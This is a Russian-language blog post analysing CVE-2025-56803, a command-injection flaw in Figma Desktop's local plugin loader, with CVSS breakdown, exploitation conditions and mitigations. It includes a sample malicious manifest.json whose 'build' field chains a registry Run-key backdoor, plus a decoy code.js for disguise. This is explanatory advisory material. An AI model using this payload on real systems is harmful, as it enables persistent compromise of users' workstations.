Уязвимость в Figma Desktop
Уязвимость в Figma Desktop
Категория: Программы Теги: Уязвимости Опубликовано: 12 сентября 2025

Уязвимость CVE-2025-56803 в Figma Desktop for Windows

Уязвимость CVE-2025-56803 представляет собой критическую проблему безопасности в приложении Figma Desktop для Windows (версия 125.6.5), связанную с внедрением операционных систем команд через механизм плагинов. Уязвимость существует в локальном загрузчике плагинов и позволяет злоумышленнику выполнить произвольные команды на операционной системе пользователя, подменив поле build в файле manifest.json плагина.

Анализ уязвимости

Уровень опасности: 8.4 (ВЫСОКИЙ)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:L (Attack Vector: Local) - Атака требует локального доступа к системе жертвы (например, запуск плагина в приложении).

  • AC:L (Attack Complexity: Low) - Для эксплуатации не требуются сложные условия.

  • PR:N (Privileges Required: None) - Для эксплуатации не требуются какие-либо права аутентификации.

  • UI:N (User Interaction: None) - Эксплуатация не требует взаимодействия с пользователем после запуска плагина.

  • S:U (Scope: Unchanged) - Уязвимость не оказывает влияния на другие компоненты, находящиеся за пределами безопасности уязвимого компонента.

  • C:H (Confidentiality: High) - Существует полное нарушение конфиденциальности; раскрывается вся информация в системе.

  • I:H (Integrity: High) - Существует полное нарушение целостности; злоумышленник может изменить любые файлы.

  • A:H (Availability: High) - Существует полное нарушение доступности; система может быть полностью отключена.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо выполнение следующих условий:

  1. Наличие уязвимой версии приложения: Figma Desktop для Windows версии 125.6.5.

  2. Локальный доступ к приложению: Жертва должна установить и запустить вредоносный плагин внутри приложения Figma. Это исключает удаленную эксплуатацию без предварительного взаимодействия с пользователем.

  3. Социальная инженерия: Основной вектор атак — это социальная инженерия. Злоумышленник должен убедить жертву скачать архив с плагином из ненадежного источника (например, с GitHub, форума, через фишинг-письмо) и установить его через меню Plugins > Development > Import plugin from manifest... в Figma.

  4. Отсутствие санитизации: Код приложения не проводит валидацию или санитизацию данных в поле build перед их передачей в функцию выполнения команд.

Важно отметить, что плагины, распространяемые через официальный Figma Community, не подвержены данной атаке, такую сборку проходят только локально импортируемые плагины.

🔒 Закрытый канал на Sponsr.ru

Что доступно в канале:

  • Условия эксплуатации уязвимостей — анализ, которого нет в открытых источниках
  • Ссылки на эксплоиты для проверки своих систем
  • Еженедельная рассылка разборов новых уязвимостей

Подробнее о канале → | Пример разбора

Технический анализ эксплоита

Рассмотрим код вредоносного плагина для понимания работы вектора атаки с использованием этой уязвимости. Эксплоит не требует написания сложного кода на JavaScript. Вся его суть содержится в файле manifest.json.

manifest.json:

{
  "name": "Figma Icons Helper", // Привлекательное, безобидное название
  "id": "1535549154235958412",
  "api": "1.0.0",
  "main": "code.js", // Основной файл кода может быть пустым или содержать легитимную функциональность для маскировки
  "build": "calc.exe && reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Backdoor /t REG_SZ /d C:\\malware.exe /f", // Вредоносная команда
  "capabilities": [],
  "enableProposedApi": false,
  "documentAccess": "dynamic-page",
  "editorType": [ "figma" ],
  "networkAccess": {
    "allowedDomains": [ "none" ] // Маскировка под плагин, не требующий сетевого доступа
  }
}

В данном примере поле build содержит строку "calc.exe && ...". При обработке этого манифеста Figma передает всю строку в Zlt.exec(s.build, ...). Команды интерпретируются оболочкой:

  1. calc.exe — запускает калькулятор (демонстрация успешного выполнения).

  2. && — оператор оболочки, который выполняет следующую команду только в случае успеха первой.

  3. reg add ... — пример опасной команды, которая добавляет запись в автозагрузку реестра Windows для постоянного присутствия.

Злоумышленник может заменить команду на любую другую: скачивание и запуск исполняемого файла с удаленного сервера с помощью curl или certutil, выполнение PowerShell-скрипта, кража файлов и т.д.

code.js:

// Этот файл может быть пустым или содержать легитимный код,
// чтобы пользователь не заподозрил неладное при тестировании функциональности плагина.
console.log("Figma Icons Helper loaded successfully!");
// Легитимная работа с документом Figma для маскировки
const nodes = [];
const rect = figma.createRectangle();
// ... остальной код ...
figma.closePlugin();

Основной файл плагина служит лишь для маскировки, чтобы пользователь, запустив плагин и увидев какой-то результат (например, создание фигур), не сразу заподозрил неладное, в то время как вредоносная команда уже выполнилась в фоне.

Возможные последствия успешной эксплуатации

Использование данной уязвимости позволяет злоумышленнику добиться полного контроля над рабочей станцией пользователя с правами того пользователя, под которым запущено приложение Figma.

Методы защиты

Защита от данной уязвимости должна быть многоуровневой.

1. Обновление приложения: Компания Figma уже исправила уязвимость в более новых версиях. Основная и самая эффективная мера — немедленное обновление Figma Desktop до последней версии.

2. Осведомленность пользователей: Обучение пользователей не скачивать и не устанавливать плагины Figma из непроверенных источников. Устанавливать плагины только из официального Figma Community.

Алексей Черемных Алексей Черемных
392